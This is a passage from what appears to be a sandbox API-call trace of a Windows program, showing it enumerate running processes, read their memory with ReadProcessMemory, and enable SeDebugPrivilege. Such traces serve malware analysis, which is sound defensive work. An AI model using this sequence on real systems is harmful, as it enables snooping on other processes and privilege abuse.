lpNumberOfBytesRead=0x0) returned 1 [0287.419] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x431948, lpBuffer=0x670f7c2b0, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0287.420] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0287.422] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0287.422] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x24e020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0287.422] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x431330, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0287.422] malloc (_Size=0x3e) returned 0x196ef0fbbd0 [0287.422] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x43197e, lpBuffer=0x196ef0fbbd0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fbbd0*, lpNumberOfBytesRead=0x0) returned 1 [0287.423] free (_Block=0x196ef0fbbd0) [0287.424] CloseHandle (hObject=0x464) returned 1 [0287.424] _ui64tow_s (in: _Value=0xab4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="2740") returned 0x0 [0287.430] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="2740") returned 4 [0287.431] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0287.431] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0287.473] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xab4) returned 0x464 [0287.473] GetLastError () returned 0x0 [0287.474] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0287.474] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x385018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0287.474] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0287.474] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x401c90, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0287.474] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4018c8, lpBuffer=0x670f7c2b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0287.475] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0287.476] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0287.476] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x385020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0287.477] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4012b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0287.477] malloc (_Size=0x64) returned 0x196ef0d0610 [0287.477] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x401926, lpBuffer=0x196ef0d0610, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0287.477] free (_Block=0x196ef0d0610) [0287.478] CloseHandle (hObject=0x464) returned 1 [0287.479] _ui64tow_s (in: _Value=0x136c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4972") returned 0x0 [0287.483] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4972") returned 4 [0287.484] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0287.484] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0287.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x136c) returned 0x464 [0287.500] GetLastError () returned 0x0 [0287.501] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0287.501] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x49d0568018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0287.501] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0287.501] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1bd3c7c1d60, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0287.501] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1bd3c7c1948, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0287.503] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0287.504] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0287.504] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x49d0568020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0287.504] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1bd3c7c1330, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0287.504] malloc (_Size=0xf0) returned 0x196ef0d4e70 [0287.504] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1bd3c7c1988, lpBuffer=0x196ef0d4e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0287.505] free (_Block=0x196ef0d4e70) [0287.506] CloseHandle (hObject=0x464) returned 1 [0287.506] _ui64tow_s (in: _Value=0xd24, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3364") returned 0x0 [0287.510] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3364") returned 4 [0287.511] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0287.511] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0287.533] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd24) returned 0x464 [0287.533] GetLastError () returned 0x0 [0287.534] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0287.534] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa54998018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0287.534] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0287.534] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fea1081d60, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0287.534] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fea1081948, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0287.535] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0287.536] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0287.536] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa54998020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0287.536] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fea1081330, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0287.537] malloc (_Size=0xf0) returned 0x196ef0d4e70 [0287.537] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fea1081988, lpBuffer=0x196ef0d4e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0287.537] free (_Block=0x196ef0d4e70) [0287.538] CloseHandle (hObject=0x464) returned 1 [0287.538] _ui64tow_s (in: _Value=0x2f0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="752") returned 0x0 [0287.542] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="752") returned 3 [0287.543] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0287.543] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0287.573] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2f0) returned 0x464 [0287.573] GetLastError () returned 0x0 [0287.573] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0287.573] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5290ef3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0287.574] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0287.574] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x232e1421bb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0287.574] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x232e1421818, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0287.575] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0287.577] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0287.577] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5290ef3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0287.577] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x232e1421200, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0287.577] malloc (_Size=0xb4) returned 0x196ef0f8d20 [0287.577] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x232e1421858, lpBuffer=0x196ef0f8d20, nSize=0xb2, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0f8d20*, lpNumberOfBytesRead=0x0) returned 1 [0287.578] free (_Block=0x196ef0f8d20) [0287.578] CloseHandle (hObject=0x464) returned 1 [0287.580] free (_Block=0x196ef0d7d70) [0287.580] malloc (_Size=0x48) returned 0x196ef0fb220 [0287.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x670f7d400 | out: lpSystemTimeAsFileTime=0x670f7d400*(dwLowDateTime=0x8c443da1, dwHighDateTime=0x1d9eb0c)) [0287.581] SetEvent (hEvent=0x248) returned 1 [0287.655] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ef225eb0 [0287.655] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ef225eb0, pulNumLanguages=0x670f7de50 | out: pulNumLanguages=0x670f7de50) returned 1 [0287.655] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225eb0) returned 1 [0287.655] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225d20) returned 1 [0289.889] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0292.042] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0294.134] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0294.398] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0294.431] RtlRestoreLastWin32Error () returned 0x670db7000 [0294.431] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670f7dda8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670f7dca0 | out: pulNumLanguages=0x670f7dda8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670f7dca0) returned 1 [0294.431] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225c70 [0294.431] RtlRestoreLastWin32Error () returned 0x670db7000 [0294.432] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670f7dda8, pwszLanguagesBuffer=0x196ef225c70, pcchLanguagesBuffer=0x670f7dca0 | out: pulNumLanguages=0x670f7dda8, pwszLanguagesBuffer=0x196ef225c70, pcchLanguagesBuffer=0x670f7dca0) returned 1 [0294.432] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225e20 [0294.432] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225c70) returned 1 [0294.432] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee85e8b0 [0294.432] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee85e8b0, pulNumLanguages=0x670f7dda8 | out: pulNumLanguages=0x670f7dda8) returned 1 [0294.432] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee85e8b0) returned 1 [0294.442] malloc (_Size=0xb0) returned 0x196ef0f8de0 [0294.442] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa7be80000 [0294.442] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="RtlInitUnicodeString") returned 0x7ffa7be9ced0 [0294.442] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="RtlFreeUnicodeString") returned 0x7ffa7be9c680 [0294.442] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtSetSystemEnvironmentValue") returned 0x7ffa7bf27f10 [0294.443] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQuerySystemEnvironmentValue") returned 0x7ffa7bf27630 [0294.443] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtCreateFile") returned 0x7ffa7bf257e0 [0294.443] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQuerySystemInformation") returned 0x7ffa7bf25400 [0294.443] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryDirectoryObject") returned 0x7ffa7bf272f0 [0294.443] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryObject") returned 0x7ffa7bf24f40 [0294.443] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtOpenDirectoryObject") returned 0x7ffa7bf25840 [0294.443] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryInformationProcess") returned 0x7ffa7bf25060 [0294.444] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryInformationToken") returned 0x7ffa7bf25160 [0294.444] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtOpenFile") returned 0x7ffa7bf253a0 [0294.444] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtClose") returned 0x7ffa7bf24f20 [0294.444] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtFsControlFile") returned 0x7ffa7bf25460 [0294.444] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryVolumeInformationFile") returned 0x7ffa7bf25660 [0294.445] malloc (_Size=0x18) returned 0x196ef0d1f20 [0294.445] GetCurrentThread () returned 0xfffffffffffffffe [0294.445] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x670f7d390 | out: TokenHandle=0x670f7d390*=0x464) returned 1 [0294.445] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x670f7d3cc | out: lpLuid=0x670f7d3cc*(LowPart=0x14, HighPart=0)) returned 1 [0294.447] RtlRestoreLastWin32Error () returned 0x670db7000 [0294.448] AdjustTokenPrivileges (in: TokenHandle=0x464, DisableAllPrivileges=0, NewState=0x670f7d3c8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0294.448] GetLastError () returned 0x0 [0294.448] CloseHandle (hObject=0x464) returned 1 [0294.448] malloc (_Size=0x8000) returned 0x196ef0d7d70 [0294.451] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0xc0000004 [0294.453] free (_Block=0x196ef0d7d70) [0294.454] malloc (_Size=0x10000) returned 0x196ef0d7d70 [0294.454] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0xc0000004 [0294.456] free (_Block=0x196ef0d7d70) [0294.457] malloc (_Size=0x18000) returned 0x196ef0d7d70 [0294.457] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0xc0000004 [0294.460] free (_Block=0x196ef0d7d70) [0294.460] malloc (_Size=0x20000) returned 0x196ef0d7d70 [0294.460] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0x0 [0294.462] _ui64tow_s (in: _Value=0x0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0294.474] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="0") returned 1 [0294.475] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x7bea2958, dwBuildNumber=0x7ffa, dwPlatformId=0x6, szCSDVersion="\n") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.475] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0294.493] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0294.493] CloseHandle (hObject=0x0) returned 0 [0294.493] _ui64tow_s (in: _Value=0x4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0294.500] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4") returned 1 [0294.501] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.501] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0294.520] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0294.520] CloseHandle (hObject=0x0) returned 0 [0294.521] _ui64tow_s (in: _Value=0x134, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="308") returned 0x0 [0294.525] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="308") returned 3 [0294.536] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.536] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0294.555] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x134) returned 0x0 [0294.555] CloseHandle (hObject=0x0) returned 0 [0294.555] _ui64tow_s (in: _Value=0x180, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="384") returned 0x0 [0294.562] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="384") returned 3 [0294.563] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.563] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0294.598] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0 [0294.598] CloseHandle (hObject=0x0) returned 0 [0294.599] _ui64tow_s (in: _Value=0x1bc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="444") returned 0x0 [0294.607] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="444") returned 3 [0294.609] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0294.609] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0294.628] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1bc) returned 0x0 [0294.628] CloseHandle (hObject=0x0) returned 0 [0294.628] _ui64tow_s (in: _Value=0x1c4, _Buffer=0x670f7d480, 